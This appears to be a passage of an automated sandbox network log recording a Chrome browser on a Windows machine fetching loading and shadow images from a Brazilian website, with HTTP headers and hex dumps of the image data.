2024-05-10 07:21:05 UTC	1378	IN	Data Raw: af 2a 08 08 40 37 c2 12 4b 37 7b 7d 6a 1f 41 1d 07 1c 43 14 17 68 9b 0c 6c 8d a6 00 70 c6 80 33 a9 dd cb 16 86 4e 55 b6 df 9f f4 69 d5 24 a6 b1 f6 39 d5 b8 cc 10 03 91 d8 80 84 03 04 f2 08 08 40 10 05 00 29 00 82 39 8c 28 24 85 24 04 04 21 21 00 40 6f a9 2b 0a 00 40 10 10 80 d2 b9 57 7a 2c 7a 63 00 ca e1 91 9e 40 77 95 93 55 a9 54 ac 2e d9 ab 4f 47 aa f2 fa 39 5a 9a 99 65 7e a9 5e 5c 7b ca e2 ca 72 9b cc 99 d5 8c 23 05 88 a2 29 eb 26 a7 7e a8 a4 2c 3d dd 85 4c 2c 95 6f 31 64 4e 11 9a c4 91 d4 da ae 02 ba 02 48 02 46 6c e0 3e 2b b7 a6 bf d6 8f 3d a3 93 7d 3e 94 b8 e8 de 5a 4c e6 32 d3 b6 aa 9a 78 cf ce 0c 2e 67 ac 6e b9 be d3 94 a3 52 c7 4d f2 74 fd 9b 08 ce d7 9e d2 e0 b9 b9 36 bb d2 69 dd 4e 19 e8 e7 f7 84 f3 0b e6 a3 b7 6b cf 67 d2 c9 db bd 6d e8 ce ec Data Ascii: *@7K7{}jAChlp3NUi$9@)9($$!!@o+@Wz,zc@wUT.OG9Ze~^\{r#)&~,=L,o1dNHFl>+=}>ZL2x.gnRMt6iNkgm
2024-05-10 07:21:05 UTC	1378	IN	Data Raw: a9 88 16 97 46 d2 f8 d8 70 e7 81 b2 c9 17 f7 34 b5 c6 4d 8a 9b 6c 3f ab a0 aa a7 71 79 d3 89 5a 37 d2 7b d1 4b 9c 33 db 82 da 9a 36 2d 70 cb 6e ba 1a 69 86 1c f6 7f 7f ea b7 e8 2c fe a6 3e e6 1d 6d 6d 43 9f 05 fa ed 9c 80 d7 16 b8 39 bc c2 f1 64 23 64 5c 65 d3 3d d7 64 ab 92 9c 7b 47 41 0d 4b aa 29 d8 58 07 2d c7 8f 72 f8 ed 45 3e 8d 8e 0f c1 f6 9a 6b 55 d5 2b 17 90 c7 4d 23 80 7c 4d 60 07 73 fd 14 47 18 2c 79 c9 85 d6 a1 d1 d2 9d 27 ac 48 00 ad 9a 2a 55 b7 28 cb a3 16 be e7 4d 0e 51 ec a0 5f 52 7c 88 40 43 9c 1a 09 24 00 3b 4a 86 d2 59 64 a4 df 08 c2 39 a3 90 91 1c 8d 71 1c f0 72 bc c6 c8 4f e5 79 3d 4a 12 8f 68 cd 7b 3c 04 04 20 08 49 d3 70 94 4d a3 a7 ad bb cc 3a 90 30 b5 99 ed 3d bf 80 f3 5c fd 63 73 94 69 5e 4d 7a 65 b5 3b 1f 83 5d dc 49 03 9c 5c eb Data Ascii: Fp4Ml?qyZ7{K36-pni,>mmC9d#d\e=d{GAK)X-rE>kU+M#\|M`sG,y'H*U(MQ_R\|@C$;JYd9qrOy=Jh{< IpM:0=\csi^Mze;]I\
2024-05-10 07:21:05 UTC	1378	IN	Data Raw: 60 5e 23 64 e1 f2 bc 1e a5 5c 65 da 2c a9 2f 6f c8 6c e0 39 bf 58 73 5b 2a d7 4e 2f 13 e5 19 6c d2 45 f3 1e 0b b6 3d b2 30 3d 87 2d 3c 8a ea c6 4a 4b 28 e7 4a 2e 2f 0c 95 e8 80 80 df 92 f1 3b ed 2c b6 86 44 c8 1a ed 44 b4 1d 4e df 3b ef f9 c2 a1 51 15 67 ab e4 b5 da f6 6c f0 57 ab ca 8d eb 4d d6 a2 d3 3b a6 a7 0c 71 73 74 96 bc 12 08 f2 21 53 75 31 ba 38 91 65 76 3a de 51 e7 49 71 a8 a2 ab 35 34 ae 10 bc 93 b3 47 57 07 b3 07 b1 7a 9d 51 9c 76 cb 92 23 39 46 5b a2 5c 1e 30 aa 19 7b 69 29 1b 39 1b c8 18 73 f1 59 3d c6 1d 39 3c 17 fb d4 be cb 25 15 5d 5c f5 b3 ba 7a 99 0c 92 3b 99 2b 64 21 18 47 6c 57 06 79 49 c9 e5 96 74 bc 4b 55 1d 33 69 ea 62 82 b2 16 fc d1 3b 35 10 b3 cb 49 07 2d d1 6d 3f c1 74 6f 92 58 6b 2b f2 79 dc 38 82 ae b6 9f d1 9a d8 a9 a9 bb 62 Data Ascii: `^#d\e,/ol9Xs[*N/lE=0=-<JK(J./;,DDN;QglWM;qst!Su18ev:QIq54GWzQv#9F[\0{i)9sY=9<%]\z;+d!GlWyItKU3ib;5I-m?toXk+y8b
2024-05-10 07:21:05 UTC	1378	IN	Data Raw: 0e 5c c8 d8 c1 2c 20 ee 19 b7 3f 6a e6 6b 74 71 a9 6e 4c e9 e8 75 72 b7 e0 6b 84 59 4b 70 68 05 dd 63 eb 18 5c f4 b0 74 8a e8 1d 4d 50 f9 2a 24 a9 11 49 a4 c6 46 39 8c 9d ff 00 3d cb dc 64 e3 24 f1 d1 e5 c5 49 3e 71 9e 0e 66 ff 00 53 3d 35 5f 41 0c c0 46 5a 1c 1c d1 82 72 bb b1 d5 ca e8 e5 70 71 5e 8a 14 cb 0f 92 95 c1 cf 39 7b cb 8f 79 39 5e 73 92 c4 92 e8 c1 ec 04 61 3b 06 cc 15 b3 41 4b 25 33 1d 88 a4 e6 3b bd 4a 99 51 19 4d 48 b6 36 ca 31 71 46 ae 80 49 c0 c2 bf 18 2a 24 44 ec ec a4 1f 45 e1 2b 6b 60 a5 96 7d 3d 3c 8f d1 a5 d3 77 69 07 6d b9 65 c5 71 35 36 bb 2c f8 bc 1d 1a 6a 55 c1 b8 a3 76 d1 2c 57 09 df 3b ed 9e 8d 51 03 b4 87 3a 3c 67 23 98 24 02 a8 92 db e4 b6 b6 a7 cb 58 68 b2 ad 2e 34 ef 6f 4c f8 09 1f bc 66 32 df 68 21 42 2d 69 34 57 44 ea 89 Data Ascii: \, ?jktqnLurkYKphc\tMP$IF9=d$I>qfS=5_AFZrpq^9{y9^sa;AK%3;JQMH61qFI$DE+k`}=<wimeq56,jUv,W;Q:<g#$Xh.4oLf2h!B-i4WD
2024-05-10 07:21:05 UTC	1378	IN	Data Raw: af f4 77 dd 48 a9 fa 9a d8 0f fd 3c d6 1f 7d b9 ad ca 1c 7f 26 af 77 af ad dc 9c ef 10 59 5f 64 a9 64 4f 99 92 b6 41 a9 a5 bb 1c 78 8e c5 b7 4f 7a ba 39 4b 06 6b 6a f4 de 32 55 e5 5e 54 42 92 42 00 80 20 08 08 40 10 04 01 00 40 10 04 01 00 40 10 05 00 dd 52 56 42 00 80 65 09 1c 3d 72 12 be a2 17 bb 1f 29 a9 83 c3 97 f4 5f 3d ed 04 e5 35 3f e0 fa 5d 0a 50 af 60 e2 ab a3 22 a5 f4 56 3b e5 25 e6 07 63 55 5a 3a 9c a7 b9 f4 8b 75 13 c4 76 fd ce 47 19 0b ac 61 25 b2 b9 b1 3e 12 7a 8e 21 de 61 55 2a f3 38 cf ec 7a 52 e1 a3 c0 8c 15 69 e4 ca 23 a6 a1 9b 67 0e 0b ca 22 5d 19 5c db a2 e3 38 ef 76 7d cb cc f8 9b 45 74 3c d6 8f 00 e5 05 a4 b4 a9 07 d1 38 6e ae 0a cb 15 3d 24 b3 33 a5 d5 a6 66 16 e7 a4 8c f5 46 5c 37 1b 75 76 df b1 61 b1 35 36 d1 ed 74 50 f1 fb ad cc Data Ascii: wH<}&wY_ddOAxOz9Kkj2U^TBB @@@RVBe=r)_=5?]P`"V;%cUZ:uvGa%>z!aU*8zRi#g"]\8v}Et<8n=$3fF\7uva56tP
2024-05-10 07:21:05 UTC	1378	IN	Data Raw: 47 fe 42 cf b2 2a f7 48 fd cc 38 56 89 96 ee 21 b9 d2 c6 e7 39 91 31 a0 17 73 3c 8a 9d 55 8e ca 61 27 e4 8a 22 a1 64 a2 8a d9 bf e6 00 ff 00 5d bf 74 2b 97 f6 7f c1 5b fe e0 e8 6f f4 56 fb bd 54 74 15 13 18 6a d8 ce 92 27 6d b8 24 8c 78 fc de 5f dd 62 d3 d9 65 31 73 8a ca f2 68 b6 30 b1 ed 7d 9e 76 8e 1f a2 e1 e2 fa da 8a 90 f7 b5 a4 74 8f 01 ad 68 f0 1d eb d5 ba 99 ea 3e 08 a2 2b a6 35 7c 4d 9c cd 7d d8 5d f8 aa 8e 58 f3 d0 c7 34 6c 8f 3d a3 57 3f 32 b7 57 4f a5 a7 92 7d e1 99 a5 67 a9 6a 68 b8 fd 23 7f 0b 45 f6 dd f0 0b 37 b3 be 69 17 6a fa 45 27 05 5c 20 a0 bb 9f 49 70 63 26 8c c6 1e ed 83 4e 41 19 f0 d9 6a d6 d7 2b 2b f8 7c 14 69 e6 a3 3e 4b eb ef 09 1b 95 c2 4a e8 ab 19 1b 25 00 bb 58 ce 30 31 90 7b b6 59 28 d6 7a 70 d8 e3 d1 a2 cd 3e f9 6e 4c b3 e1 Data Ascii: GB*H8V!91s<Ua'"d]t+[oVTtj'm$x_be1sh0}vth>+5\|M}]X4l=W?2WO}gjh#E7ijE'\ Ipc&NAj++\|i>KJ%X01{Y(zp>nL
2024-05-10 07:21:05 UTC	322	IN	Data Raw: b6 f6 af a5 7f 0d 09 7e 11 f3 70 f8 b5 0d fe 59 cb 85 9d 1b c9 52 0c 98 70 e0 54 30 77 b6 7a 91 2d 3b 77 dc 00 7c 97 3f 5d 56 d9 2b 17 52 ff 00 b2 fd 0d b9 8b ad f7 1f fa 39 ce 32 87 a2 ae 8c b4 75 5e cd 43 db ba ba ab 9d b0 59 ed 70 57 65 2a a9 bc 74 f9 39 e5 71 e0 20 0a 41 b3 6f 38 ac 87 ed 85 30 f9 91 5d 9f 23 3b 7b 7f 27 f9 2d 77 f6 8e 34 cb 18 a7 74 7c b7 0b 0d 9a 78 d9 d9 35 dd 2a fa 30 7b cb 8e 4f 35 7c 20 a0 b0 8a e5 27 27 96 6a 3a 42 ca ea 73 e3 8f 6e ca 6d 86 fa 26 8d 9a 19 ec ba 2f f2 6f de 9b ff 00 06 e2 46 30 47 c5 72 3d 9a f1 a8 5f c9 f4 3e d2 5f f1 df f0 73 eb e9 cf 98 08 02 12 42 10 10 90 80 20 21 00 40 10 04 01 00 40 10 04 01 00 40 10 04 01 00 40 10 04 01 00 40 10 04 01 00 40 10 04 01 00 40 67 1c 52 4a ed 31 b1 cf 3d cd 19 5e 5b 4b b0 93 Data Ascii: ~pYRpT0wz-;w\|?]V+R92u^CYpWet9q Ao80]#;{'-w4t\|x50{O5\| ''j:Bsnm&/oF0Gr=_>_sB !@@@@@@@gRJ1=^[K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49826	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:05 UTC	799	OUT	GET /web/images/loading-small.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/viewer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
2024-05-10 07:21:05 UTC	417	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:21:05 GMT Content-Type: image/png Content-Length: 7402 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: status=format_not_supported ETag: "0a31829441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:22 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3270 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b9fdc6410c4-ORD
2024-05-10 07:21:05 UTC	952	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 11 08 06 00 00 00 d4 af 2c c4 00 00 00 08 61 63 54 4c 00 00 00 0c 00 00 00 00 4c bd 2d 11 00 00 00 1a 66 63 54 4c 00 00 00 00 00 00 00 10 00 00 00 11 00 00 00 00 00 00 00 00 00 64 03 e8 00 00 33 bc 47 d0 00 00 02 2c 49 44 41 54 78 da 85 52 4d 88 12 61 18 1e 8c 0a 06 ba 44 a1 2d 49 b1 87 3a 78 d0 36 e8 d0 62 4b 4b b0 44 ad fd b8 6d 4b b4 b4 13 8e eb 41 92 9c 3d a8 87 b0 4e 1d 37 f7 da 21 10 91 40 30 f6 de a5 0e d1 0f 28 c2 0a 8b 07 c5 05 33 41 d0 11 77 40 9d f9 7a 5e 9a 0f 06 4b 7b e0 e1 7d de 79 ff 86 ef 7d 85 71 30 c6 8e 5b f4 47 f0 b3 c5 b7 09 d3 80 84 7b e0 77 f0 e9 1f df 38 80 fe 65 c6 2e 32 36 92 61 67 27 36 28 97 cb 6b 48 f8 6a 18 c6 17 d8 53 b0 75 03 0d a0 4f 6b 83 81 04 1b 4c a7 Data Ascii: PNGIHDR,acTLL-fcTLd3G,IDATxRMaD-I:x6bKKDmKA=N7!@0(3Aw@z^K{}y}q0[G{w8e.26ag'6(kHjSuOkL
2024-05-10 07:21:05 UTC	1369	IN	Data Raw: e0 a3 1a be 4c 26 13 3d d8 db 5b c2 c6 cb 66 b3 19 c3 de 28 20 02 dc 88 8f e2 f8 37 28 d9 b2 2c 25 91 48 cc 51 2e 17 9c 0a 04 02 b7 f3 f9 fc d3 48 24 72 55 e8 63 a1 50 e8 12 4e 36 2f 49 d2 2d b8 27 dd 2b 74 e7 51 75 11 83 d3 d0 fd 09 ef dc c7 c4 c6 ce ce 7d 3a 85 8b bb c2 b7 5a 4d 06 79 4e a8 81 0b ff b1 6a b5 fa 90 17 d8 ae 6e 2f 08 ee a0 a6 fd 7e 7f 18 03 0c 23 70 6c c0 3f 39 ba 9a 5d 0d 93 96 72 28 97 07 ce 01 8f 00 d5 34 cd eb fd 0a 20 36 45 9a 2e eb 3e a6 1c 9e 7c 08 88 51 40 ff a2 47 93 c9 e4 24 f8 35 ea e6 ed 4c 7b a9 54 6a 42 d7 f5 68 cf 33 c6 e3 f1 39 59 96 67 c1 af 60 90 33 24 30 0c e3 02 0d 89 60 18 3f 88 ab 14 23 0d 69 15 45 99 f5 3e e3 08 20 41 74 1a af f1 cc 32 2d 25 18 0c 9e a5 24 06 9f 38 fd 0f f2 49 43 5a 60 b8 e7 8e c5 62 71 cc 66 b6 aa Data Ascii: L&=[f( 7(,%HQ.H$rUcPN6/I-'+tQu}:ZMyNjn/~#pl?9]r(4 6E.>\|Q@G$5L{TjBh39Yg`3$0`?#iE> At2-%$8ICZ`bqf
2024-05-10 07:21:05 UTC	1369	IN	Data Raw: cb e5 f2 a5 7e 09 e0 bb 48 1a 8d 6b f7 28 a6 67 8c ca 9a e2 c2 43 5d 00 b7 51 35 63 65 ba 0b 85 42 76 2c 92 8b b4 dd 18 53 67 8c 1e 8f 67 5e 92 a4 39 f0 f3 a5 52 69 96 04 aa aa 8e d1 03 13 54 f5 27 71 99 7c a4 21 ad db ed 9e 33 8e 71 04 b0 d0 36 d2 34 aa e5 aa db 6a b5 1e ef 54 c2 99 38 82 3b 7f a9 6f 2c 30 dc d3 63 22 91 38 cd 38 93 7d 3e 1f cd 79 48 9f 0e 71 b4 36 8b e4 72 3c 1e 3f 25 0c b0 11 ec fa 94 be 24 99 4c 46 fa b6 be ee d2 97 ad eb 43 e5 c1 66 32 f0 71 42 8f cf 60 bf 00 ad f0 98 a0 93 ea 45 80 00 00 00 1a 66 63 54 4c 00 00 00 07 00 00 00 10 00 00 00 11 00 00 00 00 00 00 00 00 00 64 03 e8 00 00 45 05 df 7e 00 00 02 36 66 64 41 54 00 00 00 08 78 da 85 92 df 8b 12 51 14 c7 07 63 d9 50 ea d5 69 29 88 1e 76 1f 82 b4 15 4a 76 a1 32 82 0a da ed c7 94 Data Ascii: ~Hk(gC]Q5ceBv,Sgg^9RiT'q\|!3q64jT8;o,0c"88}>yHq6r<?%$LFCf2qB`EfcTLdE~6fdATxQcPi)vJv2
2024-05-10 07:21:05 UTC	1369	IN	Data Raw: 0c 49 b1 58 e4 e9 2f 68 c3 66 b1 58 e6 d5 cc fa 32 f8 2e ed 2f e8 9c f5 e5 1f 91 8d 99 03 6b 7f a0 ef 00 00 00 1a 66 63 54 4c 00 00 00 0b 00 00 00 10 00 00 00 11 00 00 00 00 00 00 00 00 00 64 03 e8 00 00 45 e0 3d cb 00 00 02 2e 66 64 41 54 00 00 00 0c 78 da 85 53 df 6b d3 50 14 0e 53 11 02 fa 68 6b a9 38 2c 6c 0f 3e b4 54 50 50 2a 2b 08 dd c4 fd b2 fe 18 63 93 84 75 99 85 fa 94 82 f5 d1 40 ff 80 51 58 f7 34 84 ee bd 14 fa 6e 9f 36 a6 94 40 a1 c8 36 58 0b dd 68 b1 86 86 0e 9b 2e 24 b9 9e 23 b9 10 2c 99 07 3e f2 9d 7b bf 73 4e 4e ce 09 f3 af 11 42 c6 1c 7c 0e 30 3f 72 e7 62 28 b8 07 48 00 26 6d 5f 40 d8 7c 92 10 63 1d 35 ae 09 0a 85 42 d8 34 cd 0d 5d d3 78 10 5e 47 8e 09 90 6b ba ce 23 47 8d 5b e5 71 a0 de 6a b5 ca a1 b0 d7 eb 85 6a f5 1a 57 ab d7 39 e4 78 Data Ascii: IX/hfX2./kfcTLdE=.fdATxSkPShk8,l>TPP*+cu@QX4n6@6Xh.$#,>{sNNB\|0?rb(H&m_@\|c5B4]x^Gk#G[qjjW9x
2024-05-10 07:21:05 UTC	1369	IN	Data Raw: bf 48 32 f6 e0 83 ef fd ef 7b ef cd bc f7 96 fe 35 c6 98 6b 86 87 01 91 b9 98 83 a1 e0 16 20 09 58 b5 fd 37 08 9b af 32 46 52 a8 71 2c 50 2a 95 ee 51 4a b7 26 96 b5 09 c2 4b c8 b1 00 72 6b 32 d9 44 8e 1a a7 ce 37 81 fa 1a 8d 46 02 85 a3 d1 c8 df d2 5a 89 96 a6 25 90 e3 5b b3 d9 4c a0 06 f8 0d cc e1 c9 17 00 29 bb 93 20 65 32 eb e5 72 59 8c 46 a3 6b 10 0e 20 90 ab aa ba 91 81 18 6a 6c 6d 8a cf c4 95 cb e5 62 a6 79 94 c4 40 af d7 7b 0a 6f 7e c0 32 80 1b 72 7f a7 d3 59 47 8d 69 9a c9 6c 36 fb 12 73 b9 e0 ba cf e7 7b 56 28 14 e2 a1 50 e8 81 d3 8c 82 c1 e0 fd 7c 3e 1f 47 2d b8 d7 f8 2f 44 b0 2a 0e cc 30 8c 57 bc b3 83 2d ff ee f7 63 7c 3b 67 2b d6 0f 0e 44 fe a0 b7 db 1b 4b ff 31 5d d7 cf f5 6d 1d f4 f6 a0 04 af d7 1b 56 14 05 0f e7 ce 82 3b f1 ec 29 7b 61 d4 Data Ascii: H2{5k X72FRq,PQJ&Krk2D7FZ%[L) e2rYFk jlmby@{o~2rYGil6s{V(P\|>G-/D0W-c\|;g+DK1]mV;){a
2024-05-10 07:21:05 UTC	974	IN	Data Raw: 00 35 e4 ae 66 b3 b9 86 c9 83 c1 80 8f c5 62 41 cc a5 82 ab 3e 9f 8f ad 54 2a 1f 52 a9 94 df 32 c5 3c 1e cf ed 64 32 f9 c4 e1 70 3c 04 f7 0a 7d c2 11 40 84 1b d4 15 45 f9 46 3b 4f 31 e6 b4 d5 da a0 d3 f9 3b 62 49 92 8e 88 4e ca e0 94 24 69 f8 c5 f2 1f 6b 34 1a 9b b4 40 bd 51 df b2 18 1f e5 77 bb dd c1 52 a9 f4 06 02 8b 33 f6 c4 76 70 78 10 b0 db ed 01 cc c1 5c 1a 08 02 f2 84 e8 5f 95 91 f2 7a 5a 81 7e bf 7f 0f 3b ab 44 dd c6 c5 a2 c9 e7 8d 7f f8 dc 6e b7 3f 66 b3 59 fa c6 4b 93 9d 01 de 44 22 b1 8a bb 60 1a 63 3a 9d 7e 29 08 c2 0b ab d5 ba 32 94 87 6f 35 42 84 4e a7 73 1f 04 28 de 38 39 f9 bd 8c 49 dd 6e 97 05 fd 0a c7 71 eb 3c cf af 4f 8e 71 de d8 b0 3b 44 23 87 f2 50 7e e7 f5 7a 6f 40 a1 5d f0 77 9c 4e e7 75 48 0e 1b 9d 17 51 0b b8 6c 7a 23 ac f1 03 d8 Data Ascii: 5fbA>T*R2<d2p<}@EF;O1;bIN$ik4@QwR3vpx\_zZ~;Dn?fYKD"`c:~)2o5BNs(89Inq<Oq;D#P~zo@]wNuHQlz#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49827	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:05 UTC	539	OUT	GET /web/images/shadow.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
2024-05-10 07:21:05 UTC	402	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:21:05 GMT Content-Type: image/png Content-Length: 281 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=290 ETag: "8093132c441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:27 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3270 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182ba0584c619a-ORD
2024-05-10 07:21:05 UTC	281	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 13 00 00 00 13 08 04 00 00 00 d8 59 fe 47 00 00 00 e0 49 44 41 54 78 da 5d d0 81 ae 82 30 10 44 d1 bb 5d 0a 95 f7 ff bf fa 12 11 a8 3a 93 46 b1 93 a2 b2 87 41 e0 b2 0a 95 45 a9 e4 75 30 56 d2 b8 b1 7a 2b 0b f9 cb 2a 8d 26 e0 fd 27 d8 a8 5f cc 48 83 55 64 a5 99 e9 f6 98 25 f3 2b 8b e9 c0 6f a2 cc a4 59 a5 8a 2d 83 18 0b ce 9a 52 48 26 2a 83 8e c7 70 57 55 26 b2 50 4c 07 73 9b 91 09 49 88 99 2a 95 26 36 fb b7 26 41 fa 49 83 d0 31 d5 7b 33 f0 39 05 b3 4e d7 f1 e0 64 e7 9f 43 df 74 4e d1 55 93 e2 06 e3 8d c7 75 27 30 48 10 62 bb 86 1b 77 7f be 61 d2 09 8a 12 74 75 1d 3c 5e b9 b3 79 9b 41 28 a8 e9 64 17 72 cf 48 4f e0 04 df 4e ec 10 34 73 d7 0e 09 82 22 46 62 22 fe 5f 60 66 68 74 9a 09 ba 49 2b f8 5e 7e Data Ascii: PNGIHDRYGIDATx]0D]:FAEu0Vz+&'_HUd%+oY-RH&pWU&PLsI*&6&AI1{39NdCtNUu'0Hbwatu<^yA(drHON4s"Fb"_`fhtI+^~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49828	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:05 UTC	545	OUT	GET /web/images/loading-icon.gif HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
2024-05-10 07:21:05 UTC	403	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:21:05 GMT Content-Type: image/gif Content-Length: 2536 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=2545 ETag: "80c8028441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:21 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3270 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182ba06e136095-ORD
2024-05-10 07:21:05 UTC	966	IN	Data Raw: 47 49 46 38 39 61 18 00 18 00 f4 10 00 ce ce ce fa fa fa e0 e0 e0 b0 b0 b0 e8 e8 e8 8e 8e 8e c8 c8 c8 9c 9c 9c d8 d8 d8 a8 a8 a8 c0 c0 c0 f2 f2 f2 76 76 76 86 86 86 b8 b8 b8 68 68 68 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 fe 1a 43 72 65 61 74 65 64 20 77 69 74 68 20 61 6a 61 78 6c 6f 61 64 2e 69 6e 66 6f 00 21 f9 04 09 07 00 10 00 2c 00 00 00 00 18 00 18 00 00 05 ae 20 24 8e 24 e4 38 65 5a 06 08 d9 34 64 a0 92 02 a3 8c cf 33 2e 82 3c 8b 0d 86 40 94 13 05 04 c3 9f 48 c1 38 00 61 10 82 60 a1 3a 92 0a 0c ea 49 24 20 c4 46 82 42 c1 60 4c 78 47 81 33 84 d7 1b 19 c4 07 df 4f 3a 2d 11 12 85 81 52 4a Data Ascii: GIF89avvvhhh!NETSCAPE2.0!Created with ajaxload.info!, $$8eZ4d3.<@H8a`:I$ FB`LxG3O:-RJ
2024-05-10 07:21:05 UTC	1369	IN	Data Raw: 05 b5 20 24 8e 24 84 20 65 9a 12 a4 a2 90 42 a0 8e 8b 22 8c c3 30 02 07 3b 8b ae 85 28 27 22 1c 12 bf 91 40 01 00 be 20 8e 43 53 25 1c 19 14 b2 13 64 71 d0 29 65 5b 00 c0 07 01 54 45 35 b0 a1 50 b8 15 c5 a8 64 e0 c0 36 94 16 08 80 7b 36 28 24 c8 25 01 60 33 0b 67 49 87 77 04 02 02 04 86 33 0a 05 0c 0c 05 0a 0b 8a 8c 8e 2a 90 92 94 88 9e 9f 68 99 22 01 8a 80 29 07 0f 05 71 34 8b a6 29 01 0d 0f 0f 0e 23 01 8b 67 04 83 10 a4 23 0e 0c 0f 53 bb 24 8a a1 22 8c 24 08 ba ac 3e 04 cc 02 a2 25 8b 60 8b a3 d4 72 cf 4a 7b 0b 31 87 ba cd 24 ca 88 85 87 21 00 21 f9 04 09 07 00 10 00 2c 00 00 00 00 18 00 18 00 00 05 b4 20 24 8e 24 24 08 65 9a 2e a4 61 90 44 a0 8e 0b 40 8c 8a 32 22 c3 3d 8b 00 00 0b 92 13 11 06 83 df 88 00 40 88 5c 22 c5 c0 a9 92 ed 00 b2 13 24 30 d0 2d Data Ascii: $$ eB"0;('"@ CS%dq)e[TE5Pd6{6($%`3gIw3*h")q4)#g#S$"$>%`rJ{1$!!, $$$e.aD@2"=@\"$0-
2024-05-10 07:21:05 UTC	201	IN	Data Raw: 21 f9 04 05 07 00 10 00 2c 00 00 00 00 18 00 18 00 00 05 b3 20 24 8e 24 b4 2c 65 5a 06 00 49 10 64 a0 92 c8 e3 8c 82 30 2e 82 3c 8b 8c 07 42 94 13 05 8a 3f 91 e3 51 10 bd 9c 02 54 ea 48 6a 3c 50 27 22 6c e4 83 20 18 0d 85 f1 b0 35 96 79 bd 91 82 c1 28 74 67 84 9c 14 77 60 24 92 71 c2 9b 94 4d fa ff 2a 06 07 05 05 07 06 7f 0b 71 02 04 0b 82 84 86 88 8a 8c 80 94 22 7d 95 23 04 0e 07 62 3f 79 7b 00 07 07 03 7b 29 8a 73 02 07 09 2d 10 01 06 73 ad 3a 96 39 3e 01 65 10 0a a4 10 45 2c 43 5c 33 08 03 9d 06 87 5e 00 b7 33 03 03 5b 0a 9d 0b 00 ac 9e 03 be b8 9d 10 04 00 b0 53 b7 c4 7c 98 bb b2 3f 21 00 3b Data Ascii: !, $$,eZId0.<B?QTHj<P'"l 5y(tgw`$qM*q"}#b?y{{)s-s:9>eE,C\3^3[S\|?!;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49830	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
